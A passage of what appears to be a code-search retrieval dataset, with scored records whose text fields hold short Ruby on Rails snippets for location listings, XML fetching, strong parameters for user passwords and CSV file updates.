get_xml_data(startat_value)\n puts \"getting xml data\"\n url = \"#{BASE_URL}?#{SEARCH_CONDITIONS}#{startat_value}\"\n Net::HTTP.get_response(URI.parse(url)).body\nend", "title": "" }, { "docid": "10ddc26796574a7ba3cd4d7960cfcad8", "score": "0.5682295", "text": "def location\n xml.xpath\n end", "title": "" }, { "docid": "94dd4aa39b0066d014e75eb565285a76", "score": "0.56695884", "text": "def destroy\n @locationset = Locationset.find(params[:id])\n @locationset.destroy\n\n respond_to do |format|\n format.html { redirect_to(locationsets_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3cf79a60aa6e70eca76907d93e8d7e01", "score": "0.56666714", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetLocationInformationResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "4d2e204b2ed925e72813b3a9e64297c8", "score": "0.5662561", "text": "def index\n @locations = Location.find(:all)\n end", "title": "" }, { "docid": "ae06b2cf3f88249b1a78fb50cd74fde6", "score": "0.5656224", "text": "def locations; end", "title": "" }, { "docid": "ae06b2cf3f88249b1a78fb50cd74fde6", "score": "0.5656224", "text": "def locations; end", "title": "" }, { "docid": "ae06b2cf3f88249b1a78fb50cd74fde6", "score": "0.5656224", "text": "def locations; end", "title": "" }, { "docid": "4521d8b2cc11c442e78f9562f60ff687", "score": "0.5647508", "text": "def get_all_locations\n @locations = Location.all\n end", "title": "" }, { "docid": "4521d8b2cc11c442e78f9562f60ff687", "score": "0.5647508", "text": "def get_all_locations\n @locations = Location.all\n end", "title": "" }, { "docid": "359c820d3ad6e5fbc1a6d225acf576d9", "score": "0.56416476", "text": "def fetch_location\n location_list\n puts \"TYPE THE ID OF WHAT YOU WANT TO SEE IN DETAIL\"\n fetch = gets.to_i\n result = Location.find(\"locations\", fetch)\n result.display_attributes\n end", "title": "" }, { "docid": "f0ba1d3f215f2ad4c1e1f6d71506284a", "score": "0.5618687", "text": "def update\n @locationset = Locationset.find(params[:id])\n\n respond_to do |format|\n if @locationset.update_attributes(params[:locationset])\n format.html { redirect_to(@locationset, :notice => 'Locationset was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @locationset.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e9deeda36d2fd8b022c6c9959cdf17b6", "score": "0.56136376", "text": "def init_all(base_uri)\n uri = self.normalize(base_uri)\n response = Nokogiri::XML(open(uri.merge('cgi-bin/oai.exe?verb=ListSets')))\n sets = response.search('//xmlns:set/xmlns:setSpec/text()',response.namespaces).collect { |set| set.text }\n sets.each { |set|\n self.init_map(uri, set)\n }\n end", "title": "" }, { "docid": "3deb0fe16903265ddaaf6b77cc80b882", "score": "0.5612241", "text": "def sitelist_data\n res = \"val/wxfcs/all/#{@format}/sitelist?\"\n url = \"#{@base_url}#{res}key=#{@apikey}\"\n pp url\n url = URI.parse(url)\n resp = Net::HTTP.get(url)\n pp resp\n data = ::JSON.parse(resp)\n data['Locations']['Location'] # Step into the array to get location list\nend", "title": "" }, { "docid": "3deb0fe16903265ddaaf6b77cc80b882", "score": "0.5612241", "text": "def sitelist_data\n res = \"val/wxfcs/all/#{@format}/sitelist?\"\n url = \"#{@base_url}#{res}key=#{@apikey}\"\n pp url\n url = URI.parse(url)\n resp = Net::HTTP.get(url)\n pp resp\n data = ::JSON.parse(resp)\n data['Locations']['Location'] # Step into the array to get location list\nend", "title": "" }, { "docid": "0cc2f2bdfa2a1bde0d2df41e55cb4703", "score": "0.56106216", "text": "def show\n @location = Location.find(params[:id])\n #@links = Link.find(:all, :order => :name)\n @links = @location.links\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "e284720809fd9693be4160c34e056810", "score": "0.5606106", "text": "def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end", "title": "" }, { "docid": "452c3d649b120bdbf5682cfcb80d0877", "score": "0.56059396", "text": "def show\n @loc = Loc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @loc }\n end\n end", "title": "" }, { "docid": "780ce10e0bfc6290982095d784192e93", "score": "0.56025004", "text": "def get_all_locations\n @locations = []\n end", "title": "" }, { "docid": "afece724df61a36fd37ed84b738554f6", "score": "0.5591791", "text": "def locations(opts = {})\n find_collection(\"locations\", opts)\n end", "title": "" }, { "docid": "2b8d78896c3c12fc7b71da6c3227a53a", "score": "0.5590606", "text": "def index\n @locations = Location.where(:tm => params[:tm] ).all\n end", "title": "" }, { "docid": "1d0f9933686c0f18e566d1a215b95375", "score": "0.5585585", "text": "def index\n @company_locations = @company.company_locations.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @company_locations }\n end\n end", "title": "" }, { "docid": "7482417989de40ed59f5a1e470c63a3f", "score": "0.5582258", "text": "def get_location_list(**opt)\n get_data('list', 'locations', opt)\n data = response&.body&.presence\n #data = location_list_json_test_data # TODO: testing - remove\n #data = location_list_xml_test_data # TODO: testing - remove\n IlsLocationList.new(data, error: @exception)\n end", "title": "" }, { "docid": "e0feb72c1dca49e96ee84e03ed9d4846", "score": "0.55822575", "text": "def show\n @location_type = LocationType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location_type }\n end\n end", "title": "" }, { "docid": "1df550cc7dd8faba70b9f74ed2a96400", "score": "0.55807275", "text": "def show\n @locations = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.mobile # index.mobile.erb\n format.xml { render :xml => @locations }\n end\n end", "title": "" }, { "docid": "7dae98a451bb8843dbfc87aa6331400e", "score": "0.55748886", "text": "def show\n get_locations\n end", "title": "" }, { "docid": "12d705f233584fe292c2d0bf0c046459", "score": "0.5564623", "text": "def show\n @testloc = Testloc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @testloc }\n end\n end", "title": "" }, { "docid": "efa3d404e76a5e66f1fb2c58be03c2fe", "score": "0.5559446", "text": "def index\n \tRails.logger.debug { \"Getting All Locations...\" }\n\n @locations = Location.all\n #respond_to do |format|\n # format.html { redirect_to @locations, notice: 'Locations successful.' }\n # format.json { render :show, locations: @locations }\n #end\n end", "title": "" }, { "docid": "91a12f19ea68d1dfd878fce57e155408", "score": "0.5547944", "text": "def show\n @location_classification = LocationClassification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location_classification }\n end\n end", "title": "" }, { "docid": "1fc2c8203eedab70b43b211c3f69f50d", "score": "0.554628", "text": "def getAllSquares\n @locations = BullLocation.find(:all, :order=>\"created_at DESC\", :limit=>20)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @locations.to_xml }\n format.amf { render :amf => @locations }\n end\n end", "title": "" }, { "docid": "0808facaa6cbc6748a1cd8da138c9f10", "score": "0.55403966", "text": "def show\n @locations = Location.all\n end", "title": "" }, { "docid": "941a79d1aa416ca1180dd73fc6508a1e", "score": "0.5534716", "text": "def index\n @vip_locations = Vip::Location.all.order(:name)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @vip_locations }\n format.json { render json: @vip_locations }\n end\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" }, { "docid": "87deab83ed228e494cfda6e23db29cb4", "score": "0.5534084", "text": "def index\n @locations = Location.all\n end", "title": "" } ]
376ef19bceccccb8aac54f77db110909
def pwd_params params.require(:user).permit(:password, :password_confirmation) end for extra fields
[ { "docid": "426aabeb403b8e395408cad7d2261ea5", "score": "0.0", "text": "def sign_up_params\n params.require(:user).permit(:first_name, :last_name, :email, :password, :password_confirmation, :role_id, :country)\n end", "title": "" } ]
[ { "docid": "56df1efbdefebd442263ef8d1a1f2896", "score": "0.8870537", "text": "def password_params\n\t\t\tparams.require(:user).permit(:password, :password_confirmation)\n\t\tend", "title": "" }, { "docid": "4f660e2344683651cb3c6d32f7218b75", "score": "0.883704", "text": "def password_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "8472259b907b614d13d626b6fe78985f", "score": "0.8728661", "text": "def password_params\n params.require(:user).permit(\n :password,\n :password_confirmation\n )\n end", "title": "" }, { "docid": "8a292ef7a46f0f41e052b0dd16b19142", "score": "0.86783075", "text": "def password_params\n params.permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "cf3aedad7b51bb57e08dcbde6eef8ab4", "score": "0.8668427", "text": "def password_params\n params.require(:user).permit( :new_password, :new_password_confirmation )\n end", "title": "" }, { "docid": "b0db9eb6500e5b92a62670053c458d07", "score": "0.8644662", "text": "def password_params\n params.require(:password).permit(:login, :password, :site, :user_id, :generate, :uppercase, :lowercase,\n :symbols, :digits, :strength, :length, :exclude)\n end", "title": "" }, { "docid": "195461b69142c21a592a5efb8fdb34c3", "score": "0.85123223", "text": "def user_params_with_password\n params.require(:user).permit(:email, :name, :current_password, :password)\n end", "title": "" }, { "docid": "14be52dd3ba2d01402f499cf6bf9b0ac", "score": "0.843881", "text": "def user_params\n params.require(:user).permit(:password)\n end", "title": "" }, { "docid": "14be52dd3ba2d01402f499cf6bf9b0ac", "score": "0.843881", "text": "def user_params\n params.require(:user).permit(:password)\n end", "title": "" }, { "docid": "f2ac0fc97bf67e91714612ff9cee55c8", "score": "0.8435439", "text": "def password_params\n params.require(:password).permit(:title, :description, :password, :old)\n end", "title": "" }, { "docid": "2daa36a957de069e143dcb968960b91d", "score": "0.84343946", "text": "def user_params\n\t params.require(:user).permit(:password, :password_confirmation)\n\t end", "title": "" }, { "docid": "1979e242c901ce9a03d8c0e26c207d1c", "score": "0.83966315", "text": "def user_params\n params.require(:user).permit(:current_password, :password, :password_confirmation)\n end", "title": "" }, { "docid": "1979e242c901ce9a03d8c0e26c207d1c", "score": "0.83966315", "text": "def user_params\n params.require(:user).permit(:current_password, :password, :password_confirmation)\n end", "title": "" }, { "docid": "8e42b674d3f06d6fc78cb7814af675f2", "score": "0.8349557", "text": "def password_params\n params.permit(:new_password, :new_password_confirmation, :token)\n end", "title": "" }, { "docid": "ddcf225afef9a412d438d4649053076f", "score": "0.8346526", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "ddcf225afef9a412d438d4649053076f", "score": "0.8346526", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "ddcf225afef9a412d438d4649053076f", "score": "0.8346526", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "ddcf225afef9a412d438d4649053076f", "score": "0.8346526", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "ddcf225afef9a412d438d4649053076f", "score": "0.8346526", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "ddcf225afef9a412d438d4649053076f", "score": "0.8346526", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "ddcf225afef9a412d438d4649053076f", "score": "0.8346526", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "ddcf225afef9a412d438d4649053076f", "score": "0.8346526", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "ddcf225afef9a412d438d4649053076f", "score": "0.8346526", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "ddcf225afef9a412d438d4649053076f", "score": "0.8346526", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "5578fa637d995f2fb7f93f906af345e5", "score": "0.8341304", "text": "def user_params\n params.require(:user).permit( :password)\n end", "title": "" }, { "docid": "c7829e81a90ee73673012084ff5a4d7f", "score": "0.8336075", "text": "def user_params\n params.require(:user)\n .permit(:password, :password_confirmation, :current_password)\n end", "title": "" }, { "docid": "8f7ac737de12b44d358ef088518a7d7e", "score": "0.83343256", "text": "def user_params\n params.require(:user).permit(:name, :password, :current_password, :password_confirmation)\n end", "title": "" }, { "docid": "1b35c067ac28743ca98aed70300b7531", "score": "0.8333953", "text": "def user_params\n # NOTE: Using `strong_parameters` gem\n params.required(:user).permit(:password, :password_confirmation, :update_password_date)\n end", "title": "" }, { "docid": "9ac1aab74a9f91b17137ed444745e34d", "score": "0.8325352", "text": "def password_params\n params.require(:password_form).permit(:current_password, :new_password, :new_password_confirmation)\n end", "title": "" }, { "docid": "7db1473c9128e8d762c96efa00b41f68", "score": "0.8293406", "text": "def add_password_to_user_params\n params.require(:add_password_to_user).permit(:password_digest, :string)\n end", "title": "" }, { "docid": "8f004e8110a399958e67170dd3f5dd61", "score": "0.8291839", "text": "def password_params\n params.require(:forgotten_password).permit(:username, :email_address, :new_password, :new_password_confirmation)\n end", "title": "" }, { "docid": "a9edbfed3336c7d5aed07a9eadedfbdd", "score": "0.8275472", "text": "def user_params\n params.require(:user).permit(\n :password, :password_confirmation\n )\n end", "title": "" }, { "docid": "7842d76179900bf0435ab8c354fec553", "score": "0.8220202", "text": "def user_params\n params.require(:user).permit(:current_password, :password, :password_confirmation, :email)\n end", "title": "" }, { "docid": "29e0c2e288219815bd96b156b8e8cf11", "score": "0.8218276", "text": "def user_params\n\t\t\tparams.require(:user).permit(:password, :password_confirmation)\n\t\tend", "title": "" }, { "docid": "d014c90a1c3a463e4e5fd695d4f384d6", "score": "0.82081884", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "d014c90a1c3a463e4e5fd695d4f384d6", "score": "0.82081884", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "d014c90a1c3a463e4e5fd695d4f384d6", "score": "0.82081884", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "d014c90a1c3a463e4e5fd695d4f384d6", "score": "0.82078606", "text": "def user_params\n params.require(:user).permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "cd426a508658e046db224cd13d19f838", "score": "0.8204201", "text": "def user_params\n params.require(:user).permit(:current_password, :password, :password_confirmation)\n end", "title": "" }, { "docid": "8a5f92a973a629e83792f136d3211688", "score": "0.8180739", "text": "def user_params\n params.permit(:password, :email)\n end", "title": "" }, { "docid": "29cfa79f9822ff9a085aee0ee1cfcc40", "score": "0.81598157", "text": "def update_password_params(params)\n params.permit(:password, :password_confirmation)\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.81346184", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "254d9fd08a565b9d934c4b96ea6b24e8", "score": "0.8108912", "text": "def user_params\n params.require(:user).permit(:name, :email, :password, #Note here that remember_digest and admin are left out so ppl can't edit them\n :password_confirmation)\n end", "title": "" }, { "docid": "66abbb3f2b7acdf7ea72e0c5654a649d", "score": "0.8107801", "text": "def user_params_password_update\n params[:user].permit(:email, :password, :password_confirmation, :current_password, :username, :first_name, :last_name)\n end", "title": "" }, { "docid": "9d0f41e4214532e33914bc19f74bfd34", "score": "0.8090251", "text": "def user_params\n params.permit(\n :email,\n :password,\n :password_confirmation\n )\n end", "title": "" }, { "docid": "361854cc2814986186231c2cdbf16208", "score": "0.8083105", "text": "def user_params\n params.permit(:email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "1554a501ec982340436a586320bb3ded", "score": "0.80785537", "text": "def user_params\n params.fetch(:user, {}).permit(:old_password, :password, :password_confirmation)\n end", "title": "" }, { "docid": "0d69dcb1e49f329b584748a9d8b6c7a3", "score": "0.8073387", "text": "def user_params_password_update\n\t params[:user].permit(:email, :password, :password_confirmation, :current_password, :avatar , :name)\n\tend", "title": "" }, { "docid": "6004cebd0a95a2c2643547ee06211f5f", "score": "0.80447155", "text": "def change_password_params\n params.permit :password, :password_confirmation\n end", "title": "" }, { "docid": "3e49ec3137a192b6d17d0a036d71d9a0", "score": "0.8018218", "text": "def user_params\n params.require(:usuario).permit(:password)\n end", "title": "" }, { "docid": "719530c46a1ab8c979b9babc0e83a3d4", "score": "0.80149513", "text": "def user_params\n params[:user][:password] = Digest::MD5.hexdigest(params[:user][:password])\n \n params.require(:user).permit(:email, :password, :fullname, :birthday, :phone, :status, :avatar)\n end", "title": "" }, { "docid": "5dc6fe325c53a7cd0dfea39250d10671", "score": "0.8004573", "text": "def user_params\n params.permit(:email, :password,:password_confirmation)\n end", "title": "" }, { "docid": "ca2cbb0b88424fe348deced046ae7323", "score": "0.79946387", "text": "def user_params\n params.require(:user).permit *%i(email password password_confirmation)\n end", "title": "" }, { "docid": "157e619b7edc933d0f1edf3bfe83cbe4", "score": "0.7986645", "text": "def user_params\n #params.permit(:email, :password)\n params.require(:user).permit(:email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "6a98054f3fef830b15885587f7cfa176", "score": "0.79776496", "text": "def user_params\n\tparams.require(:user).permit(:name,:password,:password_confirmation)\nend", "title": "" }, { "docid": "5f0a5be3110f3a9e24738386445cd4d0", "score": "0.7970174", "text": "def user_params\n \tparams.require(:user).permit(:email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "24297711b1c441122ab7ca668725d175", "score": "0.79694843", "text": "def user_params\n \tparams.require(:user).permit(:email,:password, :password_confirmation)\n end", "title": "" }, { "docid": "c55f83b573f171ed8ababf5ad95c462d", "score": "0.79602504", "text": "def change_password_params\n params.require(:user_change_password_form).permit(:id, :current_password, :new_password, :new_password_confirmation)\n end", "title": "" }, { "docid": "94e705989f45a1a159db6104b5cfcfdc", "score": "0.79568416", "text": "def update_password_params\n # Devise does not use these params to update the password itself, hence\n # the absence of password and password_confirmation\n params.require(:user).permit(:name)\n end", "title": "" }, { "docid": "4a8548b0629eeaef6b2a358abb311263", "score": "0.79544526", "text": "def user_params_without_password\n params.require(:user).permit(:email, :admin, :first_name, :last_name)\n end", "title": "" }, { "docid": "4a8548b0629eeaef6b2a358abb311263", "score": "0.79544526", "text": "def user_params_without_password\n params.require(:user).permit(:email, :admin, :first_name, :last_name)\n end", "title": "" }, { "docid": "4a8548b0629eeaef6b2a358abb311263", "score": "0.79544526", "text": "def user_params_without_password\n params.require(:user).permit(:email, :admin, :first_name, :last_name)\n end", "title": "" }, { "docid": "4a8548b0629eeaef6b2a358abb311263", "score": "0.79544526", "text": "def user_params_without_password\n params.require(:user).permit(:email, :admin, :first_name, :last_name)\n end", "title": "" }, { "docid": "00ccb2c9871c0c37efb92c4ea358117a", "score": "0.7953241", "text": "def user_params\n params.require(:user).permit(:email, :password, :vPassword, :password_confirmation)\n end", "title": "" }, { "docid": "fd91bf08466244ab4031cee3ed0c8902", "score": "0.79505175", "text": "def user_params\n\t\tparams.require(:user).permit(:name, :email, :password,\n\t\t\t\t\t\t\t\t\t\t\t\t\t:password_confirmation)\n\tend", "title": "" }, { "docid": "22124ebf798221bbad5f265b71a5f9ea", "score": "0.795009", "text": "def password_params\n params.require(:password).permit(:password, :ip)\n end", "title": "" }, { "docid": "c5554ca58bd86098d8bcf69714cff68f", "score": "0.7945919", "text": "def user_params\n to_permit = [:name, :phone, :email, :password, :sex, :avatar, :birthdate, :about]\n to_permit.delete(:password) unless params[:user][:password].present?\n params.require(:user).permit(*to_permit)\n end", "title": "" }, { "docid": "38811fec628e2af8813d8befd02ca1ad", "score": "0.7941611", "text": "def user_params\n params.permit(:email, :password)\n end", "title": "" }, { "docid": "38811fec628e2af8813d8befd02ca1ad", "score": "0.7941611", "text": "def user_params\n params.permit(:email, :password)\n end", "title": "" }, { "docid": "90d635281026d38c5ab7a32174a30203", "score": "0.79246366", "text": "def user_params\n params.require(:user).permit(:user_name, :password)\n end", "title": "" }, { "docid": "2c8213bb68d2c46ec81ee7c464a20a72", "score": "0.7923651", "text": "def user_params\n params.permit(:email, :password)\n end", "title": "" }, { "docid": "2c8213bb68d2c46ec81ee7c464a20a72", "score": "0.7923651", "text": "def user_params\n params.permit(:email, :password)\n end", "title": "" }, { "docid": "2c8213bb68d2c46ec81ee7c464a20a72", "score": "0.7923651", "text": "def user_params\n params.permit(:email, :password)\n end", "title": "" }, { "docid": "2c8213bb68d2c46ec81ee7c464a20a72", "score": "0.7923651", "text": "def user_params\n params.permit(:email, :password)\n end", "title": "" }, { "docid": "78b9467f75a32757605d34bfa75e245d", "score": "0.7921272", "text": "def user_params\n params.permit(:name, :password)\n end", "title": "" }, { "docid": "443e7496f0b1dfa892784afd57c86e1d", "score": "0.79155016", "text": "def user_params\n params.require(:user).permit(:email, :password_hash)\n end", "title": "" }, { "docid": "3d7476ac8a0ee726815303047cddf71b", "score": "0.79150134", "text": "def user_params\n params.require(:user).permit :email, :password, :password_confirmation\n end", "title": "" }, { "docid": "3f9f4e7865bd09f11c2ad0c36ca1c04e", "score": "0.79128283", "text": "def user_params\n params.require(:user).permit(:email, :password, :password_confirmation, :password_hash, :password_salt)\n end", "title": "" }, { "docid": "d4d796818f05a9941c0e4e1c49d2f219", "score": "0.7912464", "text": "def user_params\n params.permit(:email, :password)\n end", "title": "" }, { "docid": "8ac2aa6e520cb5e3c17b3dbfb7a41bcc", "score": "0.7908513", "text": "def user_params\n params.require(:user).permit(:email, :password, :password_confirmation)\n # params.require(:user).permit(:email, :hashed_password, :salt)\n end", "title": "" }, { "docid": "fc12776b444393e6976d2d564849db39", "score": "0.78951985", "text": "def user_params\n params.require(:user).permit(:username, :password, :fname, :lname, :email, \n :password_confirmation)\n end", "title": "" }, { "docid": "fc12776b444393e6976d2d564849db39", "score": "0.78951985", "text": "def user_params\n params.require(:user).permit(:username, :password, :fname, :lname, :email, \n :password_confirmation)\n end", "title": "" }, { "docid": "defc10404815acb0ed82cd6f22ac7062", "score": "0.7894252", "text": "def user_params\n params.require(:user).permit(:name, :email, :phone, :password, :passsword_confirmation)\n end", "title": "" }, { "docid": "d31e90aea124874f7763ed1c27c7ccff", "score": "0.78887874", "text": "def user_params\n params.require(:user).permit(:email, :password, :otp_attempt)\n end", "title": "" }, { "docid": "624cda6a0a474369d8eb4b76e10fb20f", "score": "0.7887068", "text": "def user_params\n params.require(:user).permit(:email, :password, :administrator, :phonenumber, :password_confirm)\n end", "title": "" }, { "docid": "5d8e082efded152704cb0170b98c0bb9", "score": "0.7886783", "text": "def user_params\n params.require(:user).permit(:name, :password, :password_confirmation)\n end", "title": "" }, { "docid": "5d8e082efded152704cb0170b98c0bb9", "score": "0.7886783", "text": "def user_params\n params.require(:user).permit(:name, :password, :password_confirmation)\n end", "title": "" }, { "docid": "3580c9ea356e3ac034a6cc68d39c885a", "score": "0.7886445", "text": "def user_params\n\t\tparams.require(:user).permit(:email, :password, :password_confirmation)\n\tend", "title": "" }, { "docid": "3b9ab13b837a8703e4dfa2817d66e8ba", "score": "0.78819", "text": "def user_params\n if params[:user][:password].blank?\n params[:user].delete(:password)\n params[:user].delete(:password_confirmation)\n end\n params.require(:user).permit(:first_name, :last_name, :address, :city, :state, :zip, :phone_number, :website, :password, :password_confirmation)\n end", "title": "" }, { "docid": "662f41d005566e73b0c8c55596a39976", "score": "0.78756267", "text": "def user_params\n check_change_password\n params.fetch(:user, {}).permit(\n :name,\n :email,\n :active,\n :country,\n :country_code,\n :currency,\n :currency_code,\n :password,\n :password_confirmation,\n :admin_role\n )\n end", "title": "" }, { "docid": "df3b824d63e63468494826b44df0f096", "score": "0.7874352", "text": "def user_params\n params.permit(:email, :role, :password, :password_confirmation, :password_digest)\n end", "title": "" }, { "docid": "ee35e42e028f6e60fc1a4586c8264c0e", "score": "0.78740585", "text": "def user_params\n params.require(:user).permit(:username, :password, :password_digest)\nend", "title": "" }, { "docid": "ca3b50334dd090ebfeffcdf905179a83", "score": "0.78716385", "text": "def user_params\n params.require(:user).permit(:id, :name, :email, :password, :password_confirmation,\n :generate_password)\n end", "title": "" }, { "docid": "7005be6e8fa2c0ac8f6fb915fcb756e3", "score": "0.78693736", "text": "def user_params\n if params[:user][:password].empty?\n params.fetch(:user, {}).except(:password, :password_confirmation).permit!\n else\n params.fetch(:user, {}).permit!\n end\n end", "title": "" }, { "docid": "326a87a5bf5a1858189a5d025ecba4b1", "score": "0.786843", "text": "def user_params\n params.require(:user).permit(:email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "326a87a5bf5a1858189a5d025ecba4b1", "score": "0.786843", "text": "def user_params\n params.require(:user).permit(:email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "326a87a5bf5a1858189a5d025ecba4b1", "score": "0.786843", "text": "def user_params\n params.require(:user).permit(:email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "326a87a5bf5a1858189a5d025ecba4b1", "score": "0.786843", "text": "def user_params\n params.require(:user).permit(:email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "326a87a5bf5a1858189a5d025ecba4b1", "score": "0.786843", "text": "def user_params\n params.require(:user).permit(:email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "326a87a5bf5a1858189a5d025ecba4b1", "score": "0.786843", "text": "def user_params\n params.require(:user).permit(:email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "326a87a5bf5a1858189a5d025ecba4b1", "score": "0.786843", "text": "def user_params\n params.require(:user).permit(:email, :password, :password_confirmation)\n end", "title": "" } ]
5013545db368364027d33b8785536530
PATCH/PUT /api/v1/csv_files/1 PATCH/PUT /api/v1/csv_files/1.json
[ { "docid": "e78a84639bb7bd4143df51fc91e7a988", "score": "0.73330384", "text": "def update\n respond_to do |format|\n if @api_v1_csv_file.update(api_v1_csv_file_params)\n format.html { redirect_to @api_v1_csv_file, notice: 'Csv file was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_csv_file }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_csv_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "fa9168efebdf12671fab7671ad4088e0", "score": "0.683201", "text": "def set_api_v1_csv_file\n @api_v1_csv_file = Api::V1::CsvFile.find(params[:id])\n end", "title": "" }, { "docid": "170cde48fe18319b7937e254c9abb611", "score": "0.6735466", "text": "def update\n respond_to do |format|\n if @csv_file.update(csv_file_params)\n format.html { redirect_to @csv_file, notice: 'Csv file was successfully updated.' }\n format.json { render :show, status: :ok, location: @csv_file }\n else\n format.html { render :edit }\n format.json { render json: @csv_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00d5dcf121e1da73cb6341f0c6aaaad4", "score": "0.6529444", "text": "def update\n respond_to do |format|\n if @upload_csv.update(upload_csv_params)\n format.html { redirect_to @upload_csv, notice: 'Upload csv was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @upload_csv.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a02f90154f892c40dfa8a51f1d1da589", "score": "0.6483101", "text": "def update_records_with_csv\n @csv = CSV.read(params[:file])\n @filename = params[:file].original_filename\n update_records\n end", "title": "" }, { "docid": "6c154296d96615f65d4ac1c96cae3e66", "score": "0.6441708", "text": "def update\n respond_to do |format|\n if @csv_file_temp.update(csv_file_temp_params)\n format.html { redirect_to @csv_file_temp, notice: 'Csv file temp was successfully updated.' }\n format.json { render :show, status: :ok, location: @csv_file_temp }\n else\n format.html { render :edit }\n format.json { render json: @csv_file_temp.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "423852c9e660caa2a11430d95dd40341", "score": "0.64412916", "text": "def update\n respond_to do |format|\n if @upload_csv.update(upload_csv_params)\n format.html { redirect_to @upload_csv, notice: 'Upload csv was successfully updated.' }\n format.json { render :show, status: :ok, location: @upload_csv }\n else\n format.html { render :edit }\n format.json { render json: @upload_csv.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 